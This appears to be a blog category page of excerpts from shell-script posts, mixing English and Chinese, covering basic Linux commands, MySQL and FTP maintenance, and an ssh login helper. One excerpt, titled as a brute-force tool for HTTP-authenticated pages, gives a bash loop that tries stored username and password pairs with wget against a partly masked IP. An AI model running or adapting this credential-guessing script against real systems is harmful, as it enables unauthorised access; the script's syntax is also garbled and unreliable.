Useful commands for the Linux command line

分类:ShellThis short guide shows some important commands for your daily work on the Linux command line.

arch
Outputs the processor architecture.
$ arch

i686

cat
Outputs the contents of a file.
$ cat lorem.txt
继续阅读 »

Create Users And Change Passwords With A Bash Script

分类:ShellThese two scripts are very important for the system admin who regularly works with mail servers and somehow forgets to backup his system username and password! Let’s say somehow we lost the usernames and passwords of the mail server. In this case the admin has to manually create all the users and then change the passwords for all the users. Tedious job. Let’s make our life easier.
继续阅读 »

Top Ten Processes Watcher

分类:Shelltop command provides a dynamic real-time view of a running system. It can display system summary information as well as a list of tasks currently being managed by the Linux kernel. But if you want get something more specific, you must play some tricks on it. For example, I want a clean view of top ten busiest processes every seconds without those summary info, how should I do with top?

Batch mode operation
top is a real-time application that keeps display processes info sorted by cpu usage, if you redirects the outputs to a file like command line below, you will having your results mixed with ugly symbols, which is not what you want. 继续阅读 »

Shell script to restart MySQL server if it is killed or not working

分类:Shell分类:MySQL# mysql root/admin username
MUSER=”root”
# mysql admin/root password
MPASS=”SET-ROOT-PASSWORD”
# mysql server hostname
MHOST=”localhost”
#Shell script to start MySQL server i.e. path to MySQL daemon start/stop script.
# Debain uses following script, need to setup this according to your UNIX/Linux/BSD OS.
MSTART=”/etc/init.d/mysql start” 继续阅读 »

sssh 快速ssh登陆脚本

分类:Shell此脚本对于那些需要经常ssh登陆远程服务器的朋友应该有点用处.尤其是需要中转服务器ssh 2次以上的.

脚本功能:
将服务器IP和密码保存于文本文件中(明文保存,安全性要自己保证),方便登陆,支持多次ssh中转,支持服务器编码自动转换,支持某个用户名的通用密码.

使用方法:
最好将脚本保存在PATH变量包含的路径下,建议保存于 ~/bin 并确保此目录在 PATH 中.
编写 ~/.pass 文件,并执行 chmod 600 ~/.pass
安装 expect 包. 继续阅读 »

暴力破解HTTP验证检测页面口令

分类:Shell#!/bin/bash
#
user_password_file=/root/wget_cracker_user_password
while read user_password ; do
user=$(user_password#:}
password=$(user_password%:}
wget -q -t 2 -T 15 –http-user=$user –http-password=$password -http://222.136.x.x:8080/tool.asp
if [ $? -eq 0 ] ; then
  echo “OK I got an password:     user: $user ; password: $password !”
        exit 0
fi
done < $user_password_file
exit 0

继续阅读 »

ftp自动备份-自动删除远程备份文件的shell

分类:Shell*********************
功能:
下载服务器ftp目录中的所有文件,
下载完后立即删除服务器ftp目录中的所有文件
*********************

———————
环境:

俩台机器都是centos4.5_x86
继续阅读 »


返回顶部